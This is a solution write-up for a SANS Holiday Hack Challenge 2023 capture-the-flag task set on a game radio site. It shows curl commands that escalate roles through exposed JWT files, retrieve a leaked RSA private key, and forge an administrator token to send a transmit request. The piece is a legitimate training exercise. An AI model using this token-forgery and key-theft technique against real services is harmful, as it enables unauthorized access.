SANS Holiday Hack Challenge 2023 -

Description

Speak with Chimney Scissorsticks on Steampunk Island about the interesting things the captain is hearing on his new Software Defined Radio. You’ll need to assume the GeeseIslandsSuperChiefCommunicationsOfficer role.

Chimney Scissorsticks (Brass Bouy Port): Ahoy there, I’m Chimney Scissorsticks! You may have noticed some mischief-makers planning to stir up trouble ashore. They’ve made many radio broadcasts which the captain has been monitoring with his new software defined radio (SDR). The new SDR uses some fancy JWT technology to control access. The captain has a knack for shortening words, some sorta abbreviation trick. Not familiar with JWT values? No worries; just think of it as a clue-solving game. I’ve seen that the Captain likes to carry his journal with him wherever he goes. If only I could find the planned “go-date”, “go-time”, and radio frequency they plan to use. Remember, the captain’s abbreviations are your guiding light through this mystery! Once we find a JWT value, these villains won’t stand a chance. The closer we are, the sooner we’ll be thwarting their pesky plans! We need to recreate an administrative JWT value to successfully transmit a message. Good luck, matey! I’ve no doubts about your cleverness in cracking this conundrum!

Hints

Comms Journal: I’ve seen the Captain with his Journal visiting Pixel Island!

Comms JWT Intro: A great introduction to JSON Web Tokens is available from Auth0.

Comms Private Key: Find a private key, update an existing JWT!

Comms Web Interception Proxies: Web Interception proxies like Burp and Zap make web sites fun!

Comms Abbreviations: I hear the Captain likes to abbreviate words in his filenames; shortening some words to just 1,2,3, or 4 letters.

Metadata

• Difficulty: 5/5
• Tags: linux, cli, trolls

Solution

Video

Write-up

If we open the SDR panel (https://captainscomms.com) we can click around find some important information on the table (papers) and on the shelf (books).

There are four roles in the application (stored in a JWT token in a justWatchThisRole cookie): radioUser, radioMonitor, radioDecoder and the administrator (GeeseIslandsSuperChiefCommunicationsOfficer). The role of the administrator user is known, because we’ve finished the Elf Hunt challenge.

If we check our current / default role using https://jwt.io, we are radioUser. However, we can access a JWT token stored at /jwtDefault/rMonitor.tok, which happens to be a radioMonitor role.

Using this token, we can query /jwtDefault/rDecoder.tok which happens to be a radioDecoder role.

With the newly collected token, we can download 3 mp4 files (for me my browser did not open and play these files, so I had to download them manually):

static/images/dcdCW.mp4
static/images/dcdFX.mp4
static/images/dcdNUM.mp4

$ curl -H 'Cookie: justWatchThisRole=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJISEMgMjAyMyBDYXB0YWluJ3MgQ29tbXMiLCJpYXQiOjE2OTk0ODU3OTUuMzQwMzMyNywiZXhwIjoxODA5OTM3Mzk1LjM0MDMzMjcsImF1ZCI6IkhvbGlkYXkgSGFjayAyMDIzIiwicm9sZSI6InJhZGlvRGVjb2RlciJ9.cnNu6EjIDBrq8PbMlQNF7GzTqtOOLO0Q2zAKBRuza9bHMZGFx0pOmeCy2Ltv7NUPv1yT9NZ-WapQ1-GNcw011Ssbxz0yQO3Mh2Tt3rS65dmb5cmYIZc0pol-imtclWh5s1OTGUtqSjbeeZ2QAMUFx3Ad93gR20pKpjmoeG_Iec4JHLTJVEksogowOouGyDxNAagIICSpe61F3MY1qTibOLSbq3UVfiIJS4XvGJwqbYfLdbhc-FvHWBUbHhAzIgTIyx6kfONOH9JBo2RRQKvN-0K37aJRTqbq99mS4P9PEVs0-YIIufUxJGIW0TdMNuVO3or6bIeVH6CjexIl14w6fg' https://captainscomms.com/static/images/dcdCW.mp4 -o dcdCW.mp4

$ curl -H 'Cookie: justWatchThisRole=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJISEMgMjAyMyBDYXB0YWluJ3MgQ29tbXMiLCJpYXQiOjE2OTk0ODU3OTUuMzQwMzMyNywiZXhwIjoxODA5OTM3Mzk1LjM0MDMzMjcsImF1ZCI6IkhvbGlkYXkgSGFjayAyMDIzIiwicm9sZSI6InJhZGlvRGVjb2RlciJ9.cnNu6EjIDBrq8PbMlQNF7GzTqtOOLO0Q2zAKBRuza9bHMZGFx0pOmeCy2Ltv7NUPv1yT9NZ-WapQ1-GNcw011Ssbxz0yQO3Mh2Tt3rS65dmb5cmYIZc0pol-imtclWh5s1OTGUtqSjbeeZ2QAMUFx3Ad93gR20pKpjmoeG_Iec4JHLTJVEksogowOouGyDxNAagIICSpe61F3MY1qTibOLSbq3UVfiIJS4XvGJwqbYfLdbhc-FvHWBUbHhAzIgTIyx6kfONOH9JBo2RRQKvN-0K37aJRTqbq99mS4P9PEVs0-YIIufUxJGIW0TdMNuVO3or6bIeVH6CjexIl14w6fg' https://captainscomms.com/static/images/dcdFX.mp4 -o dcdFX.mp4

$ curl -H 'Cookie: justWatchThisRole=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJISEMgMjAyMyBDYXB0YWluJ3MgQ29tbXMiLCJpYXQiOjE2OTk0ODU3OTUuMzQwMzMyNywiZXhwIjoxODA5OTM3Mzk1LjM0MDMzMjcsImF1ZCI6IkhvbGlkYXkgSGFjayAyMDIzIiwicm9sZSI6InJhZGlvRGVjb2RlciJ9.cnNu6EjIDBrq8PbMlQNF7GzTqtOOLO0Q2zAKBRuza9bHMZGFx0pOmeCy2Ltv7NUPv1yT9NZ-WapQ1-GNcw011Ssbxz0yQO3Mh2Tt3rS65dmb5cmYIZc0pol-imtclWh5s1OTGUtqSjbeeZ2QAMUFx3Ad93gR20pKpjmoeG_Iec4JHLTJVEksogowOouGyDxNAagIICSpe61F3MY1qTibOLSbq3UVfiIJS4XvGJwqbYfLdbhc-FvHWBUbHhAzIgTIyx6kfONOH9JBo2RRQKvN-0K37aJRTqbq99mS4P9PEVs0-YIIufUxJGIW0TdMNuVO3or6bIeVH6CjexIl14w6fg' https://captainscomms.com/static/images/dcdNUM.mp4 -o dcdNUM.mp4

$ ls -la
-rw-r--r--  1 tkh4ck tkh4ck 17036711 Jan  5 16:18 dcdCW.mp4
-rw-r--r--  1 tkh4ck tkh4ck 19391613 Jan  5 16:18 dcdFX.mp4
-rw-r--r--  1 tkh4ck tkh4ck  6395101 Jan  5 16:18 dcdNUM.mp4

From the dcdCW.mp4 file, we know that the private key is stored in the TH3CAPSPR1V4T3F0LD3R folder.

From the dcdFX.mp4 file, we know the frequency of the transmission: 10426 Hz.

From the dcdNUM.mp4 file, we can decode the attack date and time just remove the number 9 from the end. 1224 and 1600 (remember, we have to subtract 4 hours, so we have to transmit 1200)

With the radioMonitor token we can download the public (/jwtDefault/keys/capsPubKey.key) and the private (/jwtDefault/keys/TH3CAPSPR1V4T3F0LD3R/capsPrivKey.key) keys:

$ curl -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJISEMgMjAyMyBDYXB0YWluJ3MgQ29tbXMiLCJpYXQiOjE2OTk0ODU3OTUuMzQwMzMyNywiZXhwIjoxODA5OTM3Mzk1LjM0MDMzMjcsImF1ZCI6IkhvbGlkYXkgSGFjayAyMDIzIiwicm9sZSI6InJhZGlvRGVjb2RlciJ9.cnNu6EjIDBrq8PbMlQNF7GzTqtOOLO0Q2zAKBRuza9bHMZGFx0pOmeCy2Ltv7NUPv1yT9NZ-WapQ1-GNcw011Ssbxz0yQO3Mh2Tt3rS65dmb5cmYIZc0pol-imtclWh5s1OTGUtqSjbeeZ2QAMUFx3Ad93gR20pKpjmoeG_Iec4JHLTJVEksogowOouGyDxNAagIICSpe61F3MY1qTibOLSbq3UVfiIJS4XvGJwqbYfLdbhc-FvHWBUbHhAzIgTIyx6kfONOH9JBo2RRQKvN-0K37aJRTqbq99mS4P9PEVs0-YIIufUxJGIW0TdMNuVO3or6bIeVH6CjexIl14w6fg' https://captainscomms.com/jwtDefault/keys/capsPubKey.key
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAsJZuLJVB4EftUOQN1Auw
VzJyr1Ma4xFo6EsEzrkprnQcdgwz2iMM76IEiH8FlgKZG1U0RU4N3suI24NJsb5w
J327IYXAuOLBLzIN65nQhJ9wBPR7Wd4Eoo2wJP2m2HKwkW5Yadj6T2YgwZLmod3q
n6JlhN03DOk1biNuLDyWao+MPmg2RcxDR2PRnfBartzw0HPB1yC2Sp33eDGkpIXa
cx/lGVHFVxE1ptXP+asOAzK1wEezyDjyUxZcMMmV0VibzeXbxsXYvV3knScr2WYO
qZ5ssa4Rah9sWnm0CKG638/lVD9kwbvcO2lMlUeTp7vwOTXEGyadpB0WsuIKuPH6
uQIDAQAB
-----END PUBLIC KEY-----
$ curl -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJISEMgMjAyMyBDYXB0YWluJ3MgQ29tbXMiLCJpYXQiOjE2OTk0ODU3OTUuMzQwMzMyNywiZXhwIjoxODA5OTM3Mzk1LjM0MDMzMjcsImF1ZCI6IkhvbGlkYXkgSGFjayAyMDIzIiwicm9sZSI6InJhZGlvRGVjb2RlciJ9.cnNu6EjIDBrq8PbMlQNF7GzTqtOOLO0Q2zAKBRuza9bHMZGFx0pOmeCy2Ltv7NUPv1yT9NZ-WapQ1-GNcw011Ssbxz0yQO3Mh2Tt3rS65dmb5cmYIZc0pol-imtclWh5s1OTGUtqSjbeeZ2QAMUFx3Ad93gR20pKpjmoeG_Iec4JHLTJVEksogowOouGyDxNAagIICSpe61F3MY1qTibOLSbq3UVfiIJS4XvGJwqbYfLdbhc-FvHWBUbHhAzIgTIyx6kfONOH9JBo2RRQKvN-0K37aJRTqbq99mS4P9PEVs0-YIIufUxJGIW0TdMNuVO3or6bIeVH6CjexIl14w6fg' https://captainscomms.com/jwtDefault/keys/TH3CAPSPR1V4T3F0LD3R/capsPrivKey.key
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCwlm4slUHgR+1Q
5A3UC7BXMnKvUxrjEWjoSwTOuSmudBx2DDPaIwzvogSIfwWWApkbVTRFTg3ey4jb
g0mxvnAnfbshhcC44sEvMg3rmdCEn3AE9HtZ3gSijbAk/abYcrCRblhp2PpPZiDB
kuah3eqfomWE3TcM6TVuI24sPJZqj4w+aDZFzENHY9Gd8Fqu3PDQc8HXILZKnfd4
MaSkhdpzH+UZUcVXETWm1c/5qw4DMrXAR7PIOPJTFlwwyZXRWJvN5dvGxdi9XeSd
JyvZZg6pnmyxrhFqH2xaebQIobrfz+VUP2TBu9w7aUyVR5Onu/A5NcQbJp2kHRay
4gq48fq5AgMBAAECggEATlcmYJQE6i2uvFS4R8q5vC1u0JYzVupJ2sgxRU7DDZiI
adyHAm7LVeJQVYfYoBDeANC/hEGZCK7OM+heQMMGOZbfdoNCmSNL5ha0M0IFTlj3
VtNph9hlwQHP09FN/DeBWruT8L1oauIZhRcZR1VOuexPUm7bddheMlL4lRp59qKj
9k1hUQ3R3qAYST2EnqpEk1NV3TirnhIcAod53aAzcAqg/VruoPhdwmSv/xrfDS9R
DCxOzplHbVQ7sxZSt6URO/El6BrkvVvJEqECMUdON4agNEK5IYAFuIbETFNSu1TP
/dMvnR1fpM0lPOXeUKPNFveGKCc7B4IF2aDQ/CvD+wKBgQDpJjHSbtABNaJqVJ3N
/pMROk+UkTbSW69CgiH03TNJ9RflVMphwNfFJqwcWUwIEsBpe+Wa3xE0ZatecEM9
4PevvXGujmfskst/PuCuDwHnQ5OkRwaGIkujmBaNFmpkF+51v6LNdnt8UPGrkovD
onQIEjmvS1b53eUhDI91eysPKwKBgQDB5RVaS7huAJGJOgMpKzu54N6uljSwoisz
YJRY+5V0h65PucmZHPHe4/+cSUuuhMWOPinr+tbZtwYaiX04CNK1s8u4qqcX2ZRD
YuEv+WNDv2e1XjoWCTxfP71EorywkEyCnZq5kax3cPOqBs4UvSmsR9JiYKdeXfaC
VGiUyJgLqwKBgQDL+VZtO/VOmZXWYOEOb0JLODCXUdQchYn3LdJ3X26XrY2SXXQR
wZ0EJqk8xAL4rS8ZGgPuUmnC5Y/ft2eco00OuzbR+FSDbIoMcP4wSYDoyv5IIrta
bnauUUipdorttuIwsc/E4Xt3b3l/GV6dcWsCBK/i5I7bW34yQ8LejTtGsQKBgAmx
NdwJpPJ6vMurRrUsIBQulXMMtx2NPbOXxFKeYN4uWhxKITWyKLUHmKNrVokmwelW
Wiodo9fGOlvhO40tg7rpfemBPlEG405rBu6q/LdKPhjm2Oh5Fbd9LCzeJah9zhVJ
Y46bJY/i6Ys6Q9rticO+41lfk344HDZvmbq2PEN5AoGBANrYUVhKdTY0OmxLOrBb
kk8qpMhJycpmLFwymvFf0j3dWzwo8cY/+2zCFEtv6t1r7b8bjz/NYrwS0GvEc6Bj
xVa9JIGLTKZt+VRYMP1V+uJEmgSnwUFKrXPrAsyRaMcq0HAvQOMICX4ZvGyzWhut
UdQXV73mNwnYl0RQmBnDOl+i
-----END PRIVATE KEY-----

We have everything to craft our own JWT token using https://jwt.io with the GeeseIslandsSuperChiefCommunicationsOfficer role.

POST /transmit HTTP/2
Host: captainscomms.com
Cookie: CaptainsCookie=eyJjYXB0YWluc1ZpY3RvcnkiOjAsInVzZXJpZCI6ImE3ODYwNzBiLTMwNWEtNDNkYS1iYmNiLWU0ZTYwNDRlNzY1ZSJ9.ZZge2A.pgZRx6wBFP2mmuDRpfDTcDQhg78; justWatchThisRole=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJISEMgMjAyMyBDYXB0YWluJ3MgQ29tbXMiLCJpYXQiOjE2OTk0ODU3OTUuMzQwMzMyNywiZXhwIjoxODA5OTM3Mzk1LjM0MDMzMjcsImF1ZCI6IkhvbGlkYXkgSGFjayAyMDIzIiwicm9sZSI6IkdlZXNlSXNsYW5kc1N1cGVyQ2hpZWZDb21tdW5pY2F0aW9uc09mZmljZXIifQ.N-8MdT6yPFge7zERpm4VdLdVLMyYcY_Wza1TADoGKK5_85Y5ua59z2Ke0TTyQPa14Z7_Su5CpHZMoxThIEHUWqMzZ8MceUmNGzzIsML7iFQElSsLmBMytHcm9-qzL0Bqb5MeqoHZYTxN0vYG7WaGihYDTB7OxkoO_r4uPSQC8swFJjfazecCqIvl4T5i08p5Ur180GxgEaB-o4fpg_OgReD91ThJXPt7wZd9xMoQjSuPqTPiYrP5o-aaQMcNhSkMix_RX1UGrU-2sBlL01FxI7SjxPYu4eQbACvuK6G2wyuvaQIclGB2Qh3P7rAOTpksZSex9RjtKOiLMCafTyfFng
Content-Length: 31
Content-Type: application/x-www-form-urlencoded
Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJISEMgMjAyMyBDYXB0YWluJ3MgQ29tbXMiLCJpYXQiOjE2OTk0ODU3OTUuMzQwMzMyNywiZXhwIjoxODA5OTM3Mzk1LjM0MDMzMjcsImF1ZCI6IkhvbGlkYXkgSGFjayAyMDIzIiwicm9sZSI6IkdlZXNlSXNsYW5kc1N1cGVyQ2hpZWZDb21tdW5pY2F0aW9uc09mZmljZXIifQ.N-8MdT6yPFge7zERpm4VdLdVLMyYcY_Wza1TADoGKK5_85Y5ua59z2Ke0TTyQPa14Z7_Su5CpHZMoxThIEHUWqMzZ8MceUmNGzzIsML7iFQElSsLmBMytHcm9-qzL0Bqb5MeqoHZYTxN0vYG7WaGihYDTB7OxkoO_r4uPSQC8swFJjfazecCqIvl4T5i08p5Ur180GxgEaB-o4fpg_OgReD91ThJXPt7wZd9xMoQjSuPqTPiYrP5o-aaQMcNhSkMix_RX1UGrU-2sBlL01FxI7SjxPYu4eQbACvuK6G2wyuvaQIclGB2Qh3P7rAOTpksZSex9RjtKOiLMCafTyfFng
[...]

myFqy=10426&myGd=1224&myGt=1200

HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 172
[...]

superCaptainStopsTheBadGuysHHC202399.png*1*{"hash":"f49a33f52607abd9ecccb58595cd6544c31274c81f5406d3d07025bb1a6c02f7", "resourceId": "a786070b-305a-43da-bbcb-e4e6044e765e"}

Chimney Scissorsticks (Brass Bouy Port): Brilliant work! You’ve outsmarted those scoundrels with finesse!